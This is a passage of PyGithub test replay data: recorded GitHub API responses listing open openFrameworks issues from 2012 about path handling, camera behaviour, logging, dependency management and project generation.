results;\r\n\t}","number":1110,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":3799872,"closed_at":null,"created_at":"2012-03-25T18:56:37Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"mac paths don't seem right until you call \"ofToDataPath()\"","html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","comments":3,"assignee":null,"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","number":1109,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":3799653,"closed_at":null,"created_at":"2012-03-25T18:18:28Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","url":"https://api.github.com/users/roymacdonald","login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"easyCam weird behavior when target changed","html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","comments":7,"assignee":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","number":1108,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D"}],"id":3795495,"closed_at":null,"created_at":"2012-03-25T00:01:54Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"PG feature request: Generate makefile-only projects","html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","comments":1,"assignee":null,"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","number":1103,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","labels":[{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3754055,"closed_at":null,"created_at":"2012-03-21T21:43:34Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"feature / bug - #pragma omp critical(ofLog)","html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","comments":3,"assignee":null,"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","number":1098,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3710293,"closed_at":null,"created_at":"2012-03-19T14:04:51Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","comments":2,"assignee":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","number":1075,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3662214,"closed_at":null,"created_at":"2012-03-15T07:54:55Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"c1ec5161b69b4a990436deafb1170d64","url":"https://api.github.com/users/manuelgeoffray","login":"manuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Alpha movies in GStreamer","html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","comments":6,"assignee":null,"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","number":1070,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3647640,"closed_at":null,"created_at":"2012-03-14T13:02:41Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Continuous integration","html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","comments":10,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","number":1068,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3631618,"closed_at":null,"created_at":"2012-03-13T15:49:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Automatic installer + dependencies handler","html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","comments":7,"assignee":null,"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","number":1063,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3627067,"closed_at":null,"created_at":"2012-03-13T10:44:57Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"regularize code for math addons","html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","comments":4,"assignee":null,"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","number":1062,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3614231,"closed_at":null,"created_at":"2012-03-12T16:33:06Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVertexes?? ofCurveVertexes","html_url":"https://github.com/openframeworks/openFrameworks/issues/1055","comments":18,"assignee":null,"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","number":1055,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":3605277,"closed_at":null,"created_at":"2012-03-12T01:50:19Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testInterruptedIteration.txt0000644000175100001660000047121514756101563026544 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv 